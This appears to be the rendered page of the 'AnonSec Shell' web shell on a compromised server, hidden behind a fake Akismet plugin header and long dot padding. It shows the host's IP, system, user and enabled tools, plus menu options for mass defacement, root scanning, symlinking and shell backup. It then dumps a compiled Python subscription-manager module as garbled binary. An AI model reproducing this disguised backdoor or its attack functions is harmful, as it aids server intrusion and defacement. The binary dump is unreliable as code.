#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/site-packages/subscription_manager/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib64/python2.7/site-packages/subscription_manager/plugins.pyo
�
L��ec@`s�ddlmZmZmZddlZddlZddlZddlZddlZej	rpddl
Z
nddlZddl
mZddlmZmZddlmZddlmZdZdZd	Ze�Zeje�Zd
efd��YZdefd
��YZdefd��YZ defd��YZ!defd��YZ"defd��YZ#defd��YZ$de%fd��YZ&de&fd��YZ'de&fd��YZ(de&fd��YZ)d e&fd!��YZ*d"e&fd#��YZ+d$e&fd%��YZ,d&e&fd'��YZ-d(e&fd)��YZ.d*e&fd+��YZ/d,e.fd-��YZ0d.e%fd/��YZ1d0e%fd1��YZ2d2e%fd3��YZ3d4e3fd5��YZ4d6�Z5d7�Z6dS(8i(tprint_functiontdivisiontabsolute_importN(tSafeConfigParser(tNoSectionErrort
NoOptionError(t
initConfig(tSubManPlugins1.1s/usr/share/rhsm-plugins/s/etc/rhsm/pluginconf.d/tPluginExceptioncB`seZdZd�ZRS(s Base exception for rhsm plugins.cC`s;t|d�r7|jr7dj|d|jg�}n|S(Ntmsgs
sMessage: %s(thasattrR	tjoin(tselftrepr_msg((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyt_add_message;s(t__name__t
__module__t__doc__R(((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyR9stPluginImportExceptioncB`s#eZdZdd�Zd�ZRS(s=Raised when a SubManPlugin derived class can not be imported.cC`s||_||_||_dS(N(tmodule_filetmodule_nameR	(RRRR	((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyt__init__Cs		cC`s#d|j|jf}|j|�S(Ns*Plugin "%s" can't be imported from file %s(RRR(RR
((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyt__str__HsN(RRRtNoneRR(((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyRAstPluginModuleImportExceptioncB`seZdZRS(s/Raise when a plugin module can not be imported.(RRR(((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyRNst,PluginModuleImportApiVersionMissingExceptioncB`seZdZd�ZRS(sFRaised when a plugin module does not include a 'requires_api_version'.cC`s#d|j|jf}|j|�S(NsePlugin module "%s" in %s has no API version.
                   'requires_api_version' should be set.(RRR(RR
((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyRTs(RRRR(((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyRRst%PluginModuleImportApiVersionExceptioncB`s#eZdZdd�Zd�ZRS(sDRaised when a plugin module's 'requires_api_version' can not be met.cC`s1||_||_||_||_||_dS(N(RRt
module_vertapi_verR	(RRRRRR	((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyR]s
				cC`s)d|j|j|jf}|j|�S(Ns8Plugin "%s" requires API version %s. Supported API is %s(RRRR(RR
((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyRdsN(RRRRRR(((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyR[stPluginConfigExceptioncB`s#eZdZdd�Zd�ZRS(s?Raised when a PluginConfig fails to load or read a config file.cC`s||_||_dS(N(tplugin_nameR	(RRR	((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyRls	cC`sd|j}|j|�S(Ns)Cannot load configuration for plugin "%s"(RR(RR
((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyRps
N(RRRRRR(((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyRjstSlotNameExceptioncB`s eZdZd�Zd�ZRS(sCRaised when PluginManager.run() is called with a unknown slot_name.cC`s
||_dS(N(t	slot_name(RR ((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyRxscC`sd|jS(Ns1slot name %s does not have a conduit to handle it(R (R((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyR{s(RRRRR(((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyRvs	tBaseConduitcB`sPeZdZgZdd�Zdd�Zdd�Zdd�Zdd�Z	RS(s�An API entry point for rhsm plugins.

    Conduit()'s are used to provide access to the data a SubManPlugin may need.
    Each 'slot_name' has a BaseConduit() subclass associated with it by PluginManager().
    Whenever a slot is reached, PluginManager will find all the SubManPlugin methods
    that handle the slot, as well as any Conduit() that is mapped to the slot.
    PluginManager.run(slot_name, kwargs) finds the proper Conduit for slot_name,
    then creates an instance, passing in the values of kwargs. Then PluginManager.run
    calls the SubManPlugin hook associated, passing it the Conduit().

    Conduits provide access to subscription-manager configuration, as well
    as a logger object.

    Conduit() subclasses can provide additional methods.

    Note the conf instance is expected to be a PluginConfig, and/or
    have a 'parser' attribute that looks like a ConfigParser.SafeConfigParser.

    Args:
        clazz: A SubManPlugin subclass that will use this Conduit()
        conf: A PluginConf for the class passed as clazz
    Attributes:
        slots: A list of slot_name strings this Conduit() will handle
        log: a logger handler
    cC`s7|r||_n|j|_tj|j�|_dS(N(t_conftconftloggingt	getLoggerRtlog(RtclazzR#((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyR�scC`sOy|jjj||�SWn.ttfk
rJ|dkr@dSt|�SXdS(s�get string from plugin config

        Args:
            section: config section name
            option: config option name
            default: if section or option are not found,
                     return default. None if not
                     specified.
        Returns:
            a string. In the case of error, default
            is returned. If default is not specified,
            None is returned.
        N(R"tparsertgetRRRtstr(Rtsectiontoptiontdefault((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pytconf_string�scC`sdy|jjj||�SWnCttfk
r_|tkr@tS|tkrPtStd��nXdS(s�get boolean value from plugin config

        Args:
            section: config section name
            option: config option name
            default: if section or option are not found,
                     return default.
        Raises:
            ValueError: value requested is not a boolean
        Returns:
            a python boolean. In the case of error, default
            is returned. If default is not specified and
            there is an error, a ValueError is raised.
        sBoolean value expectedN(R"R(t
getbooleanRRtTruetFalset
ValueError(RR+R,R-((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyt	conf_bool�scC`soy|jjj||�SWnNttfk
rjyt|�}Wn#ttfk
retd��nX|SXdS(s�get integer value from plugin config

        Args:
            section: config section name
            option: config option name
            default: if section or option are not found,
                     return default.
        Raises:
            ValueError: value requested can not be made into an integer
        Returns:
            a python integer. In the case of error, default
            is returned. If default is not specified, a
            ValueError is raised.
        sInteger value expectedN(R"R(tgetintRRtintR2t	TypeError(RR+R,R-tval((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pytconf_int�scC`soy|jjj||�SWnNttfk
rjyt|�}Wn#ttfk
retd��nX|SXdS(s�get float value from plugin config

        Args:
            section: config section name
            option: config option name
            default: if section or option are not found,
                     return default.
        Raises:
            ValueError: value requested can not be made into
                        a float
        Returns:
            a python float. In the case of error, default
            is returned. If default is not specified, a
            ValueError is raised.
        sFloat value expectedN(R"R(tgetfloatRRtfloatR2R6(RR+R,R-R7((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyt
conf_float�sN(
RRRtslotsRRR.R3R8R;(((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyR!s	tRegistrationConduitcB`s eZdZdgZd�ZRS(s#Conduit for uses with registration.tpre_register_consumercC`s,tt|�j|�||_||_dS(syinit for RegistrationConduit

        Args:
            name: ??
            facts: a dictionary of system facts
        N(tsuperR=Rtnametfacts(RR'R@RA((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyR	s	(RRRR<R(((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyR=s	tPostRegistrationConduitcB`s eZdZdgZd�ZRS(s'Conduit for use with post registration.tpost_register_consumercC`s,tt|�j|�||_||_dS(s�init for PostRegistrationConduit

        Args:
            consumer: an object representing the
                    registered consumer
            facts: a dictionary of system facts
        N(R?RBRtconsumerRA(RR'RDRA((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyRs	(RRRR<R(((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyRBs	tProductConduitcB`s#eZdZddgZd�ZRS(s>Conduit for use with plugins that handle product id functions.tpre_product_id_installtpost_product_id_installcC`s#tt|�j|�||_dS(sninit for ProductConduit

        Args:
            product_list: A list of ProductCertificate objects
        N(R?RERtproduct_list(RR'RH((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyR*s(RRRR<R(((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyRE&stProductUpdateConduitcB`s#eZdZddgZd�ZRS(sEConduit for use with plugins that handle product id update functions.tpre_product_id_updatetpost_product_id_updatecC`s#tt|�j|�||_dS(stinit for ProductUpdateConduit

        Args:
            product_list: A list of ProductCertificate objects
        N(R?RIRRH(RR'RH((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyR8s(RRRR<R(((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyRI4stFactsConduitcB`s eZdZdgZd�ZRS(sConduit for collecting facts.tpost_facts_collectioncC`s#tt|�j|�||_dS(s]init for FactsConduit

        Args:
            facts: a dictionary of system facts
        N(R?RLRRA(RR'RA((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyRFs(RRRR<R(((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyRLBs	tUpdateContentConduitcB`s eZdZdgZd�ZRS(sConduit for updating content.tupdate_contentcC`s,tt|�j|�||_||_dS(s�init for UpdateContentConduit.

        Args:
            reports: a list of reports
            ent_source: a EntitlementSource instance
        N(R?RNRtreportst
ent_source(RR'RPRQ((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyRTs	(RRRR<R(((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyRNPs	tSubscriptionConduitcB`s eZdZdgZd�ZRS(sConduit for subscription info.t
pre_subscribecC`s5tt|�j|�||_||_||_dS(sjinit for SubscriptionConduit

        Args:
            consumer_uuid: the UUID of the consumer being subscribed
            pool_id: the id of the pool the subscription will come from (None if 'auto' is False)
            quantity: the quantity to consume from the pool (None if 'auto' is False).
            auto: is this an auto-attach/healing event.
        N(R?RRRt
consumer_uuidtpool_idtquantity(RR'RTRURV((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyRds			(RRRR<R(((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyRR`s	tPostSubscriptionConduitcB`seZdgZd�ZRS(tpost_subscribecC`s,tt|�j|�||_||_dS(s�init for PostSubscriptionConduit

        Args:
            consumer_uuid: the UUID of the consumer subscribed
            entitlement_data: the data returned by the server
        N(R?RWRRTtentitlement_data(RR'RTRY((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyRvs	(RRR<R(((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyRWss	tAutoAttachConduitcB`seZdgZd�ZRS(tpre_auto_attachcC`s#tt|�j|�||_dS(s�
        init for AutoAttachConduit

        Args:
            consumer_uuid: the UUID of the consumer being auto-subscribed
        N(R?RZRRT(RR'RT((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyR�s(RRR<R(((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyRZ�s	tPostAutoAttachConduitcB`seZdgZd�ZRS(tpost_auto_attachcC`s tt|�j|||�dS(s�init for PostAutoAttachConduit

        Args:
            consumer_uuid: the UUID of the consumer subscribed
            entitlement_data: the data returned by the server
        N(R?R\R(RR'RTRY((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyR�s(RRR<R(((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyR\�s	tPluginConfigcB`s;eZdZdZdd�Zd�Zd�Zd�ZRS(sRepresents configuation for each rhsm plugin.

    Attributes:
        plugin_conf_path: where plugin config files are found
        plugin_key: a string identifier for plugins, For ex, 'facts.FactsPlugin'
                    Used to find the configuration file.
    cC`s�||_||_g|_t�|_|jr=|j�ny|jj|j�Wn%tk
r{}t|j|��nXdS(sinit for PluginConfig.

        Args:
            plugin_key: string id for class
            plugin_conf_path: string file path to where plugin config files are found
        Raises:
            PluginConfigException: error when finding or loading plugin config
        N(	tplugin_conf_patht
plugin_keyt
conf_filesRR(t_get_config_file_pathtreadt	ExceptionR(RR`R_te((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyR�s
				
cC`s]tjj|j|jd�}tj|tj�sIt|jd��n|jj	|�dS(Ns.confs!Unable to find configuration file(
tostpathRR_R`taccesstR_OKRRatappend(Rt	conf_file((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyRb�scC`scy|jjdd�}Wn%tk
r@}t|j|��nX|s_tjd|j�tStS(s5returns True if the plugin is enabled in it's config.tmaintenableds)Not loading "%s" plugin as it is disabled(	R(R/RdRR`R&tdebugR1R0(RRmRe((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pytis_plugin_enabled�scC`sId|j}x|jD]}|d|}qW|t|jj�}|S(Nsplugin_key: %s
sconfig file: %s
(R`RaR*R(tdata(RtbufRk((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyR�s

N(	RRRRR`RRbRoR(((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyR^�s		tPluginHookRunnercB`s eZdZd�Zd�ZRS(s�Encapsulates a Conduit() instance and a bound plugin method.

    PluginManager.runiter() returns an iterable that will yield
    a PluginHookRunner for each plugin hook to be triggered.
    cC`s||_||_dS(N(tconduittfunc(RRsRt((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyR�s	cC`s>y|j|j�Wn#tk
r9}tj|��nXdS(N(RtRsRdR&t	exception(RRe((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pytrun�s

(RRRRRv(((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyRr�s	tBasePluginManagercB`s�eZdZddd�Zd�Zd�Zd�Zd�Zdd�Z	dd�Z
dd�Zd	�Zd
�Z
d�Zdd�Zd
�Zd�ZRS(sBFinds, load, and provides acccess to subscription-manager plugins.cC`s~||_||_|j�|_i|_i|_i|_g|_i|_i|_	|j
�|_|j�|j�dS(sQinit for BasePluginManager().

        attributes:
            conduits: BaseConduit subclasses that can register slots
            search_path: where to find plugin modules
            plugin_conf_path: where to find plugin config files
            _plugins: map of a plugin_key to a SubManPlugin instance
            _plugin_classes: list of plugin classes found
            _slot_to_funcs: map of a slotname to a list of plugin methods that handle it
            _slot_to_conduit: map of a slotname to a Conduit() that is passed to the slot
                              associated
        N(
tsearch_pathR_t_get_modulestmodulest_modulest_pluginst_plugin_classestconduitst_slot_to_funcst_slot_to_conduitt
_get_conduitst_populate_slotst_import_plugins(RRxR_((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyR�s
								
cC`sgS(sfNeeds to be implemented in subclass.

        Returns:
             A list of Conduit classes
        ((R((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyR�"scC`sgS(szNeeds to be implemented in subclass.

        Returns:
            A list of modules to load plugins classes from
        ((R((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyRy*scC`s<|j|j�tjd|j�tjd|j�dS(s�Needs to be implemented in subclass.

        This loads plugin modules, checks them, and loads plugins
        from them with self.add_plugins_from_module
        sloaded plugin modules: %ssloaded plugins: %sN(tadd_plugins_from_modulesRzR&RnR|(R((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyR�2scC`sLxE|jD]:}|j}x(|D] }||j|<g|j|<q Wq
WdS(N(R~R<R�R(Rt
conduit_classR<tslot((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyR�>s
	

cC`s\xU|D]M}y|j|d|�Wqtk
rS}tj|�tj|�qXqWdS(sAdd SubMan plugins from a list of modules

        Args:
            modules: a list of python module objects
            plugin_to_config_map: a dict mapping a plugin_key to a PluginConfig
                                  object. If a plugin finds it's config in here,
                                  that is used instead of creating a new PluginConfig()
                                  (which needs an actual file in plugin_conf_dir)
        Side effects:
            whatever add_plugins_from_module does to self
        tplugin_to_config_mapN(tadd_plugins_from_moduleRR&Ruterror(RRzR�tmoduleRe((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyR�Es

c	`s�g|j�<�fd�}ttj�|��}g}x't|�D]\}}|j|�qGWx!|D]}|j|d|�qkWdS(s8add SubManPlugin based plugins from a module.

        Will also look for a PluginConfig() associated with the
        SubManPlugin classes. Config files should be in self.plugin_conf_path
        and named in the format "moduleName.plugin_class_name.conf"

        Args:
            module: an import python module object, that contains
                    SubManPlugin subclasses.
            plugin_to_config_map: a dict mapping a plugin_key to a PluginConfig
                                  object.If a plugin finds it's config in here,
                                  that is used instead of creating a new PluginConfig()
        Side Effects:
            self._modules is populated
            whatever add_plugin_class does
        Raises:
            PluginException: multiple plugins with the same name
        c`s.tj|�o-|j�jko-t|t�S(N(tinspecttisclassRRt
issubclassR(tc(R�(sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyt	is_pluginrsR�N(R{tsortedR�t
getmembersRjtadd_plugin_class(	RR�R�R�tplugin_classestfound_plugin_classest_nameR'tplugin_class((R�sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyR�Ys

c	C`so|j|d|�}||_|jj}|jj�sd||j|<tjd||jf�dS|j|�|�}||jkr�||j|<nt	d|j
��||j|<t}x�t|j
j��D]�}|d}|js�t||�r�tjt||��r;|j
|jt||��t}qUtjd||f�q�q�W|rkt|_ndS(sAdd a SubManPlugin and PluginConfig class to PluginManager.

        Args:
            plugin_clazz: A SubManPlugin child class, with a
                          .conf PluginConfig() class
            plugin_to_config_map: a dict mapping a plugin_key to a PluginConfig
                                  object.If a plugin finds it's config in here,
                                  that is used instead of creating a new PluginConfig()
        Side effects:
            self._plugin_classes is populated with all found plugin classes
            self._modules is populated with plugin classes per plugin module
            self._plugins is populated with valid and enabled plugin instances
        Raises:
            PluginException: multiple plugins with the same name
        R�s#%s was disabled via it's config: %sNsFTwo or more plugins with the name "%s" exist in the plugin search patht_hooks.%s plugin does not have a callable() method %s(t_get_plugin_configR#R`RoR}R&Rnt_track_plugin_class_to_modulesR|RRR1tlistRtkeyst	all_slotsR
tsixtcallabletgetattrRjR0tfound_slots_for_hooks(	Rtplugin_clazzR�tplugin_confR`tinstancet
class_is_usedR�t	func_name((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyR��s2		

	


	cC`s@|j|jkr%g|j|j<n|j|jj|�dS(s<Keep a map of plugin classes loaded from each plugin module.N(RR{Rj(RR�((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyR��scK`s+x$|j||�D]}|j�qWdS(s3For slot_name, run the registered hooks with kwargs.

        Args:
            slot_name: a string of the slot_name. Typically of form
                       'post_someplace_something'
            kwargs: kwargs dict of arguments to pass to the SubManPlugin
                    hook methods.These are will be passed to the Conduit
                    instance associated with 'slot_name'
        Returns:
            Nothing.
        Raises:
            SlotNameException: slot_name isn't found
            (Anything else is plugin and conduit specific)
        N(truniterRv(RR tkwargstrunner((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyRv�sck`s,||jkrt|��nx|j|D]�}tj|�}t|d�}|sq|rh|j}qqd}ntj|�jj}dj	||g�}t
jdtj|�j|f�|j
|}y|tj|�j|�}	Wn#tk
r}
t
j|
��nXt|	|�}|Vq,WdS(sgReturn an iterable of PluginHookRunner objects.

        The iterable will return a PluginHookRunner object
        for each plugin hook mapped to slot_name. Multiple plugins
        with hooks for the same slot will result in multiple
        PluginHookRunners in the iterable.

        See run() docs for what to expect from PluginHookRunner.run().
        Rtunknown_modulet.sRunning %s in %sN(RRR�t	getmoduleR�RR�tget_method_selft	__class__RR&Rntget_method_functionR�RdRuRr(RR R�RtR�tfunc_module_nametfunc_class_nameR`Rstconduit_instanceReR�((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyR��s(	#

cC`s?|r)|j�|kr)||j�Snt|j�|j�S(s%Get a PluginConfig for plugin_class, creating it if need be.

        If we have an entry in plugin_to_config_map for plugin_class,
        return that PluginConfig. Otherwise, we create a PluginConfig()

        Mote that PluginConfig() will expect to find a config file in
        self.plugin_conf_path, and will fail if that is not the case.

        Args:
            plugin_clazz: A SubManPlugin subclass
            plugin_to_config_map: A map of plugin_key to PluginConfig objects
        Returns:
            A PluginConfig() object
        (tget_plugin_keyR^R_(RR�R�((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyR� scC`s|jS(slist of plugins.(R}(R((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pytget_plugins5scC`s�i}xMt|jj��D]6\}}||krAg||<n||j|�qWg}xKt|j�dd��D].}x%t||�D]}|j|�q�WqxW|S(sJlist of slots

        Ordered by conduit name, for presentation.
        tkeycS`s
t|�S(N(R*(R�((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyt<lambda>Js(R�R�titemsRjR�R�(Rtconduit_to_slotsR�Rstsorted_slots((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyt	get_slots9s
"
"N(RRRRRR�RyR�R�R�R�R�R�RvR�R�R�R�(((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyRw�s/				2O			.	t
PluginManagercB`sVeZdZeZeZddd�Zd�Z	d�Z
d�Zd�Zd�Z
RS(s�Finds, load, and provides acccess to subscription-manager plugins
    using subscription-manager default plugin search path and plugin
    conf path.
    c	C`s�d}d}y(tjdd�}tjdd�}Wn*tk
r`tjd�d}d}nX|ps|ps|j}|p�|p�|j}tt	|�j
d|d|�dS(s�init PluginManager

        Args:
            search_path: if not specified, use the configured 'pluginDir'
            plugin_conf_path: if not specified, use the configured 'pluginConfDir'
        trhsmt	pluginDirt
pluginConfDirs8no config options found for plugin paths, using defaultsRxR_N(RtcfgR)RR&twarningtdefault_search_pathtdefault_conf_pathR?R�R(RRxR_tcfg_search_patht
cfg_conf_pathtinit_search_pathtinit_plugin_conf_path((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyRXs


	cC`s%tttttttttt	t
gS(s2get subscription-manager specific plugin conduits.(R!RERIR=RBRLRRRNRWRZR\(R((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyR�qs	cC`s%|j|j�}|j|�}|S(N(t_find_plugin_module_filesRxt_load_plugin_module_files(Rtmodule_filestplugin_modules((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyRy}scC`s}g}tjj|�s-tjd|�gStjj|d�}x*ttj|��D]}|j|�qXW|j	�|S(spLoad all the plugins in the search path.

        Raise:
            PluginException: plugin load fails
        s#Could not find %s for plugin imports*.py(
RfRgtisdirR&R�RR�tglobRjtsort(RRxR�tmaskR((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyR��s
cC`sXg}xK|D]C}y|j|j|��Wq
tk
rO}tj|�q
Xq
W|S(N(Rjt_load_plugin_module_fileRR&R�(RR�RzRRe((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyR��s
c
C`sGtjj|�\}}|jd�d}y�tjr�tj||g�\}}}ztj||||�}Wd|j�Xn7t	j
j||�}t	j
j|�}|j
j|�Wn/tk
r�}	tj|	�t||��nXt|d�st||d��ntt|j�sCt||d|jdt��n|S(s�Loads SubManPlugin class from a module file.

        Args:
            module_file: file path to a python module containing SubManPlugin based classes
        Raises:
            PluginImportException: module_file could not be imported
            PluginImportApiVersionMissingException: module_file has not api version requirement
            PluginImportApiVersionException: modules api version requirement can not be met
        s.pyiNtrequires_api_versions+Plugin doesn't specify required API versionRR(RfRgtsplitR�tPY2timptfind_moduletload_moduletcloset	importlibtutiltspec_from_file_locationtmodule_from_spectloadertexec_moduleRdR&RuRR
Rtapi_version_oktAPI_VERSIONR�R(
RRtdir_pathRtfptpathnametdescriptiont
loaded_moduletspecRe((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyR��s,
	
		N(RRRtDEFAULT_SEARCH_PATHR�tDEFAULT_CONF_PATHR�RRR�RyR�R�R�(((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyR�Ps				
cC`s+|jd�\}}t|�t|�fS(sAparse an API version string into major and minor version strings.R�(R�R5(tapi_versiontmaj_vertmin_ver((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyt
parse_version�scC`sLt|�}t|�}|d|dkr0tS|d|dkrHtStS(sA
    Return true if API version "a" supports API version "b"
    ii(R�R1R0(tatb((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyR��s(7t
__future__RRRR�R�R$RfR�R�R�timportlib.utilR�tiniparseRtiniparse.compatRRtrhsm.configRt subscription_manager.base_pluginRR�R�R�R�R%RR&RdRRRRRRRtobjectR!R=RBRERIRLRNRRRWRZR\R^RrRwR�R�R�(((sB/usr/lib64/python2.7/site-packages/subscription_manager/plugins.pyt<module>sT		
		�
@�`z	

Anon7 - 2022
AnonSec Team